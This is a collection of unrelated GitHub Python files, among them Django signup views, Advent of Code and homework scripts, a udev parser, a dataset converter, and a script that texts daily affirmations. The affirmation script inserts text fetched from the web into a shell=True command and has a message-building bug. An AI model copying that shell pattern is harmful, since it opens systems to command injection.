{"seq_id":"3580250950","text":"\nfrom __future__ import print_function\nfrom __future__ import division\nimport cv2 as cv\n# import os, sys\n# ci_build_and_not_headless = False\n# try:\n#     from cv2.version import ci_build, headless\n#     ci_and_not_headless = ci_build and not headless\n# except:\n#     pass\n# if sys.platform.startswith(\"linux\") and ci_and_not_headless:\n#     os.environ.pop(\"QT_QPA_PLATFORM_PLUGIN_PATH\")\n# if sys.platform.startswith(\"linux\") and ci_and_not_headless:\n#     os.environ.pop(\"QT_QPA_FONTDIR\")\nimport numpy as np\n\n\n\n\ndef histogram_calc(path):\n    image  = cv.imread(path)\n    if image is None:\n        print('Could not open or find the image:')\n        exit(0)\n\n    hsv_query = cv.cvtColor(image, cv.COLOR_BGR2HSV)\n    h_bins = 50\n    s_bins = 60\n    histSize = [h_bins, s_bins]\n    # hue varies from 0 to 179, saturation from 0 to 255\n    h_ranges = [0, 180]\n    s_ranges = [0, 256]\n    ranges = h_ranges + s_ranges # concat lists\n    # Use the 0-th and 1-st channels\n    channels = [0, 1]\n    hist_query = cv.calcHist([hsv_query], channels, None, histSize, ranges, accumulate=False)\n    hist_query = cv.normalize(hist_query,hist_query, alpha=0, beta=1, norm_type=cv.NORM_MINMAX)\n    return hist_query\n\n\ndef min_max(lst, num,  index_of_first_img, index_of_last_img):\n    names = list(range(index_of_first_img, index_of_last_img))\n    minpos = [None]*num\n    maxpos = [None]*num\n    for i in range (num):\n        #print (type(a[0]))\n        minpos[i] = names[lst.index(min(lst))]\n        maxpos[i] = names[lst.index(max(lst))]\n        lst.pop(lst.index(min(lst)))\n        lst.pop(lst.index(max(lst)))\n        names.pop(names.index(names[lst.index(min(lst))]))\n        names.pop(names.index(names[lst.index(max(lst))]))\n    # printing the position\n    return  minpos , maxpos\n\ndef compare(db_size,query_hist , hist_images  ) :\n\n    hist_difference=[None]*db_size\n    for i in range(0, db_size):\n                # hist_difference[i]=cv.compareHist(query_hist, hist_images[i],3 )\n                hist_difference[i] = np.sum(np.abs(query_hist - hist_images[i]))\n\n    return  hist_difference\n\n\ndef retrival (hist_difference,num ,index_1,index_2 ) :\n\n    min,_ = min_max(hist_difference,num,index_1, index_2 )\n    retrieved_images_names = min\n\n    loaded_images =[]\n\n    for i in range (5):\n        loaded_images.append(cv.imread('K:/ASU/Second Term/multimedia project/dataset_collected/'+str(retrieved_images_names[i])+'.jpg'))\n\n    return retrieved_images_names\n\ndef printing (hist_difference,images ,query_image):\n    print (hist_difference)\n    cv.imshow('Source image',query_image)\n    cv.imshow('1', images[0])\n    cv.imshow('2', images[1])\n    cv.imshow('3', images[2])\n    cv.imshow('4', images[3])\n    cv.imshow('5', images[4])\n\n\n\n# query_hist =histogram_calc(path=\"K:/ASU/Second Term/multimedia project/dataset_collected/333.jpg\")\n#\n#\n# ###### main ################\n# loaded_query_image=  cv.imread(\"K:/ASU/Second Term/multimedia project/dataset_collected/333.jpg\")\n#\n#\n#\n#\n# db_size=1000-200\n# db_path='K:/ASU/Second Term/multimedia project/dataset_collected/'\n# start_from=200\n# hist_images=[None]*db_size\n#\n# for i in range(0, db_size):\n#             imagename =db_path+str(i+start_from)+'.jpg'\n#             hist_images[i]=histogram_calc(imagename)\n#\n#\n# hist_difference =compare(db_size,query_hist , hist_images  )\n# retrieved_images_names,loaded_images=retrival (hist_difference,5 ,200,1000 )\n# printing (hist_difference,loaded_images ,loaded_query_image)\n#\n# cv.waitKey(0)\n# cv.destroyAllWindows() # destroys the windo\n\n","repo_name":"MohamedHassan97/CBIR-CBVR","sub_path":"histogram_v2.py","file_name":"histogram_v2.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"13709346487","text":"from django.contrib.auth import login\nfrom django.contrib.auth.models import Group\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.http.response import HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.urls import reverse\nfrom django.utils.encoding import force_bytes, force_text\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\n\nfrom feron.users import phone_verify\nfrom feron.users.decorators import driver_email_verification_required\nfrom feron.users.models import User\nfrom feron.users.tokens import account_activation_token\nfrom feron.users.views import is_driver\nfrom .forms import SignUpForm, DriverForm, OTPForm, PhoneNo\n\n\n# Use inputs provided in the form to register the user as a driver\n# Finally send an email to the driver in order to verify the Email\ndef driver_signup_view(request):\n    msg = None\n    success = False\n\n    if request.method == \"POST\":\n        form = SignUpForm(request.POST)\n        driver_form = DriverForm(request.POST)\n        if form.is_valid() and driver_form.is_valid():\n            user = form.save()\n\n            email = form.cleaned_data.get(\"email\")\n            raw_password = form.cleaned_data.get(\"password1\")\n            # phone = form.cleaned_data.get(\"phone_no\")\n\n            user.is_active = False\n            user.save()\n\n            # Add the user to the DRIVERS group\n            dg = Group.objects.get_or_create(name='DRIVERS')\n            dg[0].user_set.add(user)\n            user.refresh_from_db()\n\n            # Save the User as a driver\n            driver = driver_form.save(commit=False)\n            driver.user = user\n            driver.save()\n\n            dri = is_driver(request.user)\n\n            current_site = get_current_site(request)\n            subject = 'Please Activate Your Account'\n\n            # load a template like get_template()\n            # and calls its render() method immediately.\n            message = render_to_string('account/driver_activation_request.html', {\n                'is_driver': dri,\n                'user': user,\n                'domain': current_site.domain,\n                'uid': urlsafe_base64_encode(force_bytes(user.pk)),\n\n                # method will generate a hash value with user related data\n                'token': account_activation_token.make_token(user),\n            })\n            user.email_user(subject, message)\n            return redirect('driver:activation_sent')\n\n        else:\n            msg = 'Form is not valid'\n    else:\n        form = SignUpForm()\n        driver_form = DriverForm()\n\n    return render(request, \"driver/driver-auth-register.html\",\n                  {\"form\": form, 'driver': driver_form, \"msg\": msg, \"success\": success})\n\n\n# Email Verification: Starts after the Driver is saved\n# ...........................................................................................\ndef activation_sent_view(request):\n    return render(request, 'account/verification_sent.html')\n\n\ndef activate(request, uidb64, token):\n    try:\n        uid = force_text(urlsafe_base64_decode(uidb64))\n        user = User.objects.get(pk=uid)\n        print(user)\n    except (TypeError, ValueError, OverflowError, User.DoesNotExist):\n        user = None\n    # checking if the user exists, if the token is valid.\n    if user is not None and account_activation_token.check_token(user, token):\n        # if valid set active true\n        user.is_active = True\n        # set signup_confirmation true\n        user.email_verified = True\n        user.save()\n        user.refresh_from_db()\n        login(request, user, backend='django.contrib.auth.backends.ModelBackend')\n        return HttpResponseRedirect(reverse('driver:driverphone'))\n    else:\n        return render(request, 'account/account_inactive.html')\n\n\n# ...........................................................................\n\n# Phone Verification: Takes over from the Email Verification\n# .................................................................................\n# Takes the Phone No in a form, then send the OTP Code to the Driver, Finally redirect them to the OTP page\n@driver_email_verification_required\ndef driver_phone(request):\n    user = User.objects.get(pk=request.user.pk)\n    # if User.objects.get(username=\"\"):\n    #     User.objects.get(username=\"\").delete()\n    print(user)\n    if request.method == 'POST':\n        form = PhoneNo(request.POST)\n        if form.is_valid():\n            phone = form.cleaned_data.get('phone_no')\n            user.phone_no = phone\n            user.save(update_fields=['phone_no'])\n            phone_verify.send(form.cleaned_data.get('phone_no'))\n            return HttpResponseRedirect(reverse('driver:dri-verifycode'))\n    else:\n        form = PhoneNo()\n    return render(request, 'account/dri_phone_form.html', {'form': form})\n\n\n# Takes in the OTP code and then redirect the Driver to the Dashboard\n# @login_required\ndef verify_code(request):\n    if request.method == 'POST':\n        form = OTPForm(request.POST)\n        user = User.objects.get(id=request.user.id)\n        phone_no = User.objects.filter(id=request.user.id).prefetch_related('Driver').values_list('phone_no', flat=True)\n        if form.is_valid():\n            code = form.cleaned_data.get('code')\n            if phone_verify.check(phone_no, code):\n                user.phone_no_verified = True\n                user.save(update_fields=['phone_no_verified'])\n                # login(request, user, backend='django.contrib.auth.backends.ModelBackend')\n                return HttpResponseRedirect(reverse('dri-dashboard'))\n    else:\n        form = OTPForm()\n    # return render(request, 'account/driver_phone_verify.html', {'form': form}) # switch to this template when the function\n    # works\n    return render(request, 'account/dri_phone_OTP.html', {'form': form})\n\n\n# .....................................................................................................\n# The Rest in taken care of by the vehicle app\n","repo_name":"Victhereum/feron","sub_path":"driver/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"73410336109","text":"\"\"\"\nSolution for Day 1 of Advent of Code 2018.\n\nProblem: Chronal Calibration\n\nPart 1: What is the resulting frequency after all changes of frequency (from input file)\nhas been applied?\n\nPart 2: What is the first frequency your device reaches twice?\n\nFor more details of what the problems were, go to https://adventofcode.com/2018/\n\"\"\"\n\ndef get_resulting_frequency():\n    with open(\"day1.txt\") as input_f:\n        changes = (int(line.strip()) for line in input_f)\n        return sum(changes)\n\ndef get_first_repeated_frequency():\n    seen = {0}\n    current_frequency = 0\n    with open(\"day1.txt\") as input_f:\n        while True:\n            line = input_f.readline().strip()\n            if line:\n                current_frequency += int(line)\n                if current_frequency not in seen:\n                    seen.add(current_frequency)\n                else:\n                    # We've seen this before, return!\n                    return current_frequency\n            else:\n                # We reached EOF, so reset cursor to beginning of file before carrying on\n                input_f.seek(0)\n\nif __name__ == '__main__':\n    print(\"=\" * 15, \"Part 1\", \"=\" * 15)\n    result = get_resulting_frequency()\n    print(f\"The resulting frequency is {result}\")\n    \n    print()\n    print(\"=\" * 15, \"Part 2\", \"=\" * 15)\n    print(f\"The first repeated frequency is {get_first_repeated_frequency()}\")\n","repo_name":"darrenvong/advent-of-code-2018","sub_path":"day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"8823488722","text":"import json\nfrom itertools import chain\nfrom typing import Iterable, Optional\n\nfrom pyramid.response import Response\n\n\ndef get_ndjson_response(results: Optional[Iterable]) -> Response:\n    \"\"\"\n    Create a streaming response for an NDJSON based end-point.\n\n    :param results: Iterable series of responses to convert to JSON\n    \"\"\"\n    if results is None:\n        return Response(status=204)\n\n    # When we get an iterator we must force the first return value to be\n    # created to be sure input validation has occurred. Otherwise, we might\n    # raise errors outside the view when called.\n    results = iter(results)\n\n    try:\n        results = chain([next(results)], results)\n    except StopIteration:\n        results = []  # pylint: disable=redefined-variable-type\n\n    # An NDJSON response is required\n    return Response(\n        app_iter=((json.dumps(result) + \"\\n\").encode(\"utf-8\") for result in results),\n        status=200,\n        content_type=\"application/x-ndjson\",\n    )\n","repo_name":"hypothesis/h","sub_path":"h/views/api/bulk/_ndjson.py","file_name":"_ndjson.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":2810,"dataset":"github-code","pt":"38"}
{"seq_id":"17628743735","text":"from mortgage import Mortgage\nimport numpy as np\nimport locale\nlocale.setlocale(locale.LC_ALL, '')\nimport matplotlib.pyplot as plt\n\ndef money_fmt(num):\n    return locale.currency(num, grouping = True)\n\nm = Mortgage(\n    apr = .037,\n    loan_total = 500_000,\n    loan_duration = 30,\n    monthly_overage = 100\n)\n\ndef plot_mortage(m):\n    fig, ax = plt.subplots(1, 1)\n    fig.set_size_inches(6, 6)\n    ax = fig.gca()\n\n    ax.text(0, 0, \n            'Principal: {}\\nAPR: {:.2}%\\nMontly payment: {}\\nCost in interest: {}\\nTotal cost: {}'.format(\n                money_fmt(m.principal),\n                m.apr * 100, \n                money_fmt(m.monthly_payment),\n                money_fmt(m.cost_interest),\n                money_fmt(m.cost_total)\n            ), \n            bbox = {\n                    'facecolor':'white', \n                    'alpha': 0.5, \n                    'pad': 5 \n                }\n           )\n\n    ax.set_xticks(np.arange(0, len(m.months), 24*2))\n    ax.set_yticks(np.arange(0, max(m.principals), 500))\n    plt.grid(alpha=.25)\n\n    plt.plot(m.months, m.interests, label = 'interest')\n    plt.plot(m.months, m.principals, label = 'principal')\n    plt.xlabel('Month')\n    plt.ylabel('Money ($)')\n    plt.legend()\n\n    plt.show()\n\nplot_mortage(m)","repo_name":"rednebmas/mortgage","sub_path":"gen_plot.py","file_name":"gen_plot.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"71641259312","text":"# 22.312, PSet07\n#   by Travis Labossiere-Hickman (email: tjlaboss@mit.edu)\n#\n# Problem 10.9\n# AHTR\n\nimport models\nfrom math import pi, log, sqrt\nfrom scipy.optimize import fsolve\n\n# Given parameters\nDPFRIC = 200000         # Pa\nTIN = 600               # deg C\nTMAX = 1000             # deg C\nL = 10                  # m; length of fuel\nDFLAT = 0.03            # m; flat-to-flat hexagon with\nDFLOW = 0.01            # m; coolant channel diameter\nAFLOW = pi/4*DFLOW**2   # m^2; coolant flow area\n\n\nclass Material(object):\n\t\"\"\"Material with thermal hydraulic properties\n\n\tParameters:\n\t-----------\n\t:param rho:     float, kg/m^3; density\n\t:param k:       float, W/m-K;  conductivity\n\t:param mu:      float, Pa-s;   viscosity\n\t:param c:       float, J/kg-K; heat capacity\n\t\n\tAttributes:\n\t-----------\n\tpr:             float; Prandtl number\n\t\"\"\"\n\tdef __init__(self, rho, k, mu, c):\n\t\tself.rho = rho\n\t\tself.k = k\n\t\tself.mu = mu\n\t\tself.c = c\n\t\tif self.mu:\n\t\t\tself.pr = c*mu/k\n\t\telse:\n\t\t\tself.pr = None\n\t\n\tdef get_reynolds(self, g, lc = DFLOW):\n\t\t\"\"\"Return the Reynolds number at some mass flux\n\t\t\n\t\tParameters:\n\t\t-----------\n\t\tg:          float, kg/s/m^2; mass flux\n\t\tlc:         float, m; characteristic length of flow\n\t\t\t\t\t[Default: DFLOW from constants]\n\t\t\"\"\"\n\t\treturn g*lc/self.mu\n\n# Given materials\nsodium = Material(780, 60, 1.7E-4, 1300)\nflibe = Material(1940, 1, 2E-3, 2410)\nfuel = Material(8530, 6, None, 500)\n\ndef fric_pressure_drop(g, mat, f = models.mcadams, lz = L, lc = DFLOW):\n\t\"\"\"Find the pressure drop due to friction over the channel\n\t\n\tParameters:\n\t-----------\n\tg:          float, kg/s/m^2; mass flux\n\tmat:        Material; which material to use for the coolant\n\tf:          function; which model to use for friction factor\n\t\t\t\t[Default: models.mcadams]\n\tlz:         float, m; length of the channel in which coolant flows\n\t\t\t\t[Default: L]\n\tlc:         float; characteristic length for the flow\n\t\t\t\t[Default: DFLOW]\n\t\n\tReturns:\n\t--------\n\tfloat, Pa; pressure drop across\n\t\"\"\"\n\tre = mat.get_reynolds(g, lc)\n\tfff = f(re)\n\treturn fff*lz/lc*g**2/(2*mat.rho)\n\nprint(\"\\nPart 1: Friction pressure drop\")\n\ndpna = lambda g: fric_pressure_drop(g, sodium) - DPFRIC\ngna = fsolve(dpna, 10)[0]   # Mass flux, sodium\ndpms = lambda g: fric_pressure_drop(g, flibe, models.blasius) - DPFRIC\ngms = fsolve(dpms, 10)[0]   # Mass flux, flibe\nprint(\"\\tMass fluxes (kg/s/m^2)\")\nprint(\"\\t\\tNa: {:.2f},  \\t\\tMS: {:.2f}\".format(gna, gms))\nrena = sodium.get_reynolds(gna)\nrems = flibe.get_reynolds(gms)\nprint(\"\\tReynolds numbers\")\nprint(\"\\t\\tNa: {:.3e}, \\t\\tMS: {:.3e}\".format(rena, rems))\nmna = gna*AFLOW     # mass flow rate, sodium\nmms = gms*AFLOW     # mass flow rate, flibe\nprint(\"\\tMass flow rates (kg/s)\")\nprint(\"\\t\\tNa: {:.3f},  \\t\\tMS: {:.3f}\".format(mna, mms))\n\nprint(\"\\nPart 2: Pump work\")\nwna = mna/sodium.rho*DPFRIC\nwms = mms/flibe.rho*DPFRIC\nprint(\"\\tNa: {:.2f} W, \\tMS: {:.2f} W\".format(wna, wms))\n\nprint(\"\\nPart 3: Max Linear Power rate\")\n# Find the dimensions of equivalent annular cell\narea = 1/2*sqrt(3)*DFLAT**2     # Area of a regular hexagon\nd_eq = 2*sqrt(area/pi)          # diameter of a circle\nprint(\"\\tEquivalent diameter: {:.2f} cm\".format(d_eq*100))\ndratio = (d_eq/DFLOW)\nfcoeff = (2*d_eq**2/(d_eq**2 - DFLOW**2)*log(d_eq/DFLOW) - 1)\nprint(\"\\tPrandtl number\")\nprint(\"\\t\\tNa: {:.2e}, \\tMS: {:.2f}\".format(sodium.pr, flibe.pr))\n\ndef linear_power(delta_t, mat, nu, mdot):\n\t\"\"\"Find the linear heat generation rate to produce a desired\n\ttemperature change, using the thermal resistors metaphor.\n\n\tParameters:\n\t-----------\n\tdelta_t:    float, K; temperature change in the fluid\n\tmat:        Material; which material to use for the coolant\n\tnu:         float; Nusselt number to use for heat transfer\n\tmdot:       float, kg/s; mass flow rate of the coolant\n\n\tReturns:\n\t--------\n\tq1:         float, kW/m; linear heat generation rate\n\t\"\"\"\n\tglobal fcoeff, fuel\n\tr_fuel = fcoeff/(4*pi*fuel.k)\n\tr_wall = 1/(pi*nu*mat.k)\n\tr_flow = L/(mdot*mat.c)\n\tq1 = delta_t / (r_fuel + r_wall + r_flow)\n\treturn q1\n\ndt = TMAX - TIN\nnuna = models.lyon(rena, sodium.pr)\nnums = models.dittus_boelter(rems, flibe.pr)\nprint(\"\\tNusselt number\")\nprint(\"\\t\\tNa: {:.2f}, \\tMS: {:.2f}\".format(nuna, nums))\nq1na = linear_power(dt, sodium, nuna, mna)\nq1ms = linear_power(dt, flibe, nums, mms)\nprint(\"\\tMaximum q' (kW/m)\")\nprint(\"\\t\\tNa: {:.2f}, \\tMS: {:.2f}\".format(q1na/1000, q1ms/1000))\n\nprint(\"\"\"\\nPart 4: Coolant selection\n\nFlibe is the clear choice of coolant for the AHTR. It offers a {:.0%} advantage\nin linear heat generation rate over sodium, while requiring a pump of only\n{:.1%} of the capacity required by sodium.\"\"\".format(q1ms/q1na, wms/wna))\n","repo_name":"tjlaboss/22.312","sub_path":"p10-9.py","file_name":"p10-9.py","file_ext":"py","file_size_in_byte":4626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23577062816","text":"from django.urls import path\nfrom .views import (\n    MyCustomView,\n    CustomTokenObtainPairView,\n    UserCreate,\n    CustomTokenRefreshView,\n    TestView, # Custom view for testing purposes. Comment to use in production.\n)\n\nurlpatterns = [\n    path('v1/custom/service', MyCustomView.as_view(), name='my_custom_view'),\n    path('token', CustomTokenObtainPairView.as_view(), name='token_obtain_pair'),\n    path('token/refresh', CustomTokenRefreshView.as_view(), name='token_refresh'),\n    path('user/create', UserCreate.as_view(), name='user_create'),\n    path('test', TestView.as_view(), name='testView'), # Custom view for testing purposes. Comment to use in production.\n]","repo_name":"Y4rd13/DRF-API-ML-Template","sub_path":"myproject/myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71922349871","text":"# -*- coding: utf-8 -*-\n\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os\nimport subprocess\n\nimport six\n\nif six.PY3:\n    DEVNULL = subprocess.DEVNULL\nelse:\n    DEVNULL = open(os.devnull, 'w')\n\n\ndef device_properties(path):\n    \"\"\"Given a device path, e.g. '/sys/class/block/sda', returns a dict of\n    properties for the device.\n    \"\"\"\n    cmd = ['udevadm', 'info', '-q', 'property', path]\n    try:\n        out = subprocess.check_output(cmd, stderr=DEVNULL)\n    except subprocess.CalledProcessError:\n        return {}\n\n    # Output from udevadm info looks like the following:\n    # $ udevadm info -q property /sys/class/block/sda\n    # DEVLINKS=/dev/disk/by-id/wwn-0x600508e000000000f8253aac9a1abd0c ...\n    # DEVNAME=/dev/sda\n    # DEVPATH=/devices/pci0000:00/0000:00:07.0/...\n    # DEVTYPE=disk\n    # ID_BUS=scsi\n    # ID_MODEL=Logical_Volume\n    # ID_MODEL_ENC=Logical\\x20Volume\\x20\\x20\n    # ID_PART_TABLE_TYPE=dos\n    # ID_PART_TABLE_UUID=0000ebf3\n    # ID_PATH=pci-0000:04:00.0-scsi-0:1:0:0\n    # ID_PATH_TAG=pci-0000_04_00_0-scsi-0_1_0_0\n    # ID_REVISION=3000\n    # ID_SCSI=1\n    # ID_SERIAL=3600508e000000000f8253aac9a1abd0c\n    # ID_SERIAL_SHORT=600508e000000000f8253aac9a1abd0c\n    # ID_TYPE=disk\n    # ID_VENDOR=LSI\n    # ID_VENDOR_ENC=LSI\\x20\\x20\\x20\\x20\\x20\n    # ID_WWN=0x600508e000000000\n    # ID_WWN_VENDOR_EXTENSION=0xf8253aac9a1abd0c\n    # ID_WWN_WITH_EXTENSION=0x600508e000000000f8253aac9a1abd0c\n    # MAJOR=8\n    # MINOR=0\n    # SUBSYSTEM=block\n    # TAGS=:systemd:\n    # USEC_INITIALIZED=10219204\n    res = {}\n    for line in six.text_type(out.strip()).split('\\n'):\n        parts = line.split('=', 1)\n        if len(parts) != 2:\n            continue\n        key = parts[0]\n        val = parts[1]\n        res[key] = val\n    return res\n","repo_name":"jaypipes/hwk","sub_path":"hwk/udev.py","file_name":"udev.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"70563271790","text":"#Задайте список из N элементов, заполненных числами из промежутка [-N, N]. Найдите произведение элементов на указанных позициях. Позиции вводятся с клавиатуры\n\nfrom random import random\n\n\nN = int(input('Введите количество элементов: '))\nM1, M2 = list(map(int, input('Введите позиции элементов через пробел: ').split()))\n\nimport random\n\ndef ListOfElem(n):\n    el = random.randint(-n, n)\n    return el\n\nlist = []\nfor i in range(N):\n    list.append(ListOfElem(N))\n\n\nprint(f'Список из {N} элементов: {list} ')\nprint(f'Произведение элементов: {list[M1] * list[M2]} ')\n","repo_name":"AnastasiaSivaeva/Homework-Python","sub_path":"Seminar_2/Task4.py","file_name":"Task4.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"1096084525","text":"import os\nos.environ['KMP_WARNINGS'] = 'off'\nimport time\nimport math\nimport argparse\nimport numpy as np\nfrom thop import profile\nfrom PIL import Image\n\nimport torch\nimport torch.nn as nn\nfrom torchsummary import summary\nimport torch.distributed as dist\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom src.model import get_model\nfrom src.dataset import get_dataset\nfrom src.utils import get_logger\n\nfrom ipdb import set_trace as st\ndef debug():\n    if dist.get_rank() == 0:\n        st()\n        torch.distributed.barrier()\n    else:\n        torch.distributed.barrier()\n\n# set random seed\ndef setup_seed(seed):\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed_all(seed)\n    np.random.seed(seed)\n    torch.backends.cudnn.deterministic = True\n\ndef get_opt_from_yaml(path):\n    assert os.path.exists(path), f\"{path} must exists!\"\n    import yaml\n    with open(path, 'r') as f:\n        opt = yaml.load(f)\n    return opt\n\ndef get_data_loaders(opt):\n    data_opt = opt['dataset']\n    Logger = get_logger()\n    Logger.info(f\"Start to get dataset {data_opt['name']}...\")\n    trainset, testset = get_dataset(opt)\n\n    train_sampler = torch.utils.data.distributed.DistributedSampler(trainset)\n    trainloader = torch.utils.data.DataLoader(\n        trainset,\n        sampler=train_sampler,\n        batch_size=data_opt['batch_size'],\n        num_workers=data_opt['num_workers'],\n        pin_memory=data_opt['pin_memory'],\n        shuffle=data_opt['shuffle'], drop_last=True)\n\n    if data_opt['val'] is not None:\n        Logger.info(\"testset is Valid.\")\n        test_sampler = torch.utils.data.distributed.DistributedSampler(testset)\n        testloader = torch.utils.data.DataLoader(\n            testset,\n            sampler=test_sampler,\n            batch_size=data_opt['batch_size'],\n            num_workers=data_opt['num_workers'],\n            pin_memory=data_opt['pin_memory'],\n            shuffle=data_opt['shuffle'], drop_last=True)\n    else:\n        Logger.info(\"testset is NONE.\")\n        testloader = None\n        test_sampler = None\n\n    return trainloader, testloader, train_sampler, test_sampler\n\ndef print_opts(opt, logger, start=2):\n    if isinstance(opt, dict):\n        for key, value in opt.items():\n            if isinstance(value, dict):\n                logger.info(' '*start + str(key))\n                print_opts(value, logger, start+4)\n            else:\n                logger.info(' ' * start + str(key) + ' ' * start + str(value))\n    else:\n        logger.info(' '*start + str(opt))\n\ndef get_visualize_img(img): # img: [B T C H W]\n    # mean = torch.tensor([0.485, 0.456, 0.406])\n    # std = torch.tensor([0.229, 0.224, 0.225])\n    # x = img[:8].detach().cpu() * std[None, None, :, None, None] + \\\n    #     mean[None, None, :, None, None]\n    x = img[:8].detach().cpu()\n    show_x = torch.clamp(x, min=0, max=1)\n    b, t, c, h, w = show_x.shape\n    show_x = show_x.permute((0, 3, 1, 4, 2)).numpy()\n    show_x = show_x.reshape((b * h, t * w, c)) * 255.\n    show_x = Image.fromarray(show_x.astype(np.uint8)).convert('RGB')\n    return show_x\n\ndef print_unused_params(model):\n    for name, param in model.named_parameters():\n        if param.grad is None or torch.all(param.grad==0):\n            print(name)\n\nif __name__ == '__main__':\n    assert torch.cuda.is_available()\n\n    parser = argparse.ArgumentParser(description=\"VQVAES\")\n    parser.add_argument('--opt', default=None, type=str, help=\"config file path\")\n    parser.add_argument('--save_dir', default=None, type=str)\n    parser.add_argument('--split', default=None, type=str)\n    parser.add_argument('--local_rank', type=int)\n    args = parser.parse_args()\n    opt = get_opt_from_yaml(args.opt)\n\n    print(\"Start to init torch distribution...\")\n    dist.init_process_group(backend='nccl', init_method='env://')\n    print(\"Finish initializing torch distribution...\")\n\n    # get current experiment path\n    setup_seed(10)\n    writer = None\n    Logger = get_logger(logging_file=\"tmp.log\", name=\"tmp\", isopen=True)\n\n    # load train data and test data\n    if args.split == 'train':\n        opt['dataset']['batch_size'] = 1\n        opt['dataset']['step'] = 1\n        opt['dataset']['name'] += '_EXT'\n        trainloader, _, _, _ = get_data_loaders(opt)\n        Logger.info(f\"Start to convert training set...\")\n        from tqdm import tqdm\n        td = tqdm(range(len(trainloader)))\n        trainloader_iter = enumerate(trainloader)\n        for _ in td:\n            i, inputs = next(trainloader_iter)\n            np.save(os.path.join(args.save_dir, \"{:010d}.npy\".format(i)), inputs)\n\n    elif args.split == 'test':\n        opt['dataset']['batch_size'] = 1\n        opt['dataset']['step'] = 20\n        opt['dataset']['name'] += '_EXT'\n        _, testloader, _, _ = get_data_loaders(opt)\n        Logger.info(f\"Start to convert testing set...\")\n        from tqdm import tqdm\n        td = tqdm(range(len(testloader)))\n        testloader_iter = enumerate(testloader)\n        for _ in td:\n            i, inputs = next(testloader_iter)\n            np.save(os.path.join(args.save_dir, \"{:010d}.npy\".format(i)), inputs)\n\n    else:\n        raise NotImplementedError","repo_name":"iva-mzsun/MOSO","sub_path":"MOSO-VQVAE/convert_data.py","file_name":"convert_data.py","file_ext":"py","file_size_in_byte":5128,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"38"}
{"seq_id":"26593405387","text":"from __future__ import print_function\nimport requests\nimport schedule\nimport time\nimport subprocess\nimport info\nimport pickle\nimport base64\nimport os\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\n\nSCOPES = ['https://www.googleapis.com/auth/gmail.modify']\n\ndef create_message(to, subject, message):\n    \"\"\"Create a message for an email.\n\n    Args:\n      to: Email address of the receiver.\n      subject: The subject of the email message.\n      message_text: The text of the email message.\n\n    Returns:\n      An object containing a base64url encoded email object.\n    \"\"\"\n    message = MIMEMultipart()\n    message['to'] = to\n    message['from'] = info.email_address\n    message['subject'] = subject\n\n    aMessage = MIMEText(message)\n    message.attach(aMessage)\n\n    return {'raw': base64.urlsafe_b64encode(message.as_string().encode()).decode()}\n\ndef send_email(provider, message):\n    try: \n        message = provider.users().messages().send(userId=info.email_address, body=message).execute()\n        print('Message ID: %s' % message['id'])\n        print(\"Message has been successfully sent!\")\n        return message\n    except Exception as e:\n        print(\"An error has occurred: %s\" % e)\n        return None\n\ndef send_message(message):\n    subprocess.call(\"osascript sendMessage.applescript '%s' '%s'\" % (f'{info.phone}', f'{message}'), shell=True)\n\ndef get_affirmation():\n    return requests.get('https://www.affirmations.dev/random').text\n\ndef email_message(message):\n    credits = None\n\n    if os.path.exists('token.pickle'):\n        with open('token.pickle', 'rb') as token:\n            credits = pickle.load(token)\n    if not credits or not credits.valid:\n        if credits and credits.expired and credits.refresh_token:\n            credits.refresh(Request())\n        else:\n            flow = InstalledAppFlow.from_client_secrets_file(\n                'credentials.json', SCOPES)\n            credits = flow.run_local_server(port=3000)\n        with open('token.pickle', 'wb') as token:\n            pickle.dump(credits, token)\n\n    service = build('gmail', 'v1', credentials=credits)\n\n    message = create_message(f'{info.phone}{info.carrier}', 'Affirmation', message)\n    send_email(service, message)\n\ndef job():\n    try:\n        affirmation = get_affirmation()\n        if affirmation != '':\n            if info.mac:\n                send_message(affirmation)\n            else:\n                email_message(affirmation)\n        else:\n            print(\"Error has occurred, please try again.\")\n    except Exception as e:\n        print(\"An error has occurred: %s\" % e)\n\nif __name__ == \"__main__\":\n    schedule.every().day.at(info.time).do(job)\n\n    while True:\n        schedule.run_pending()\n        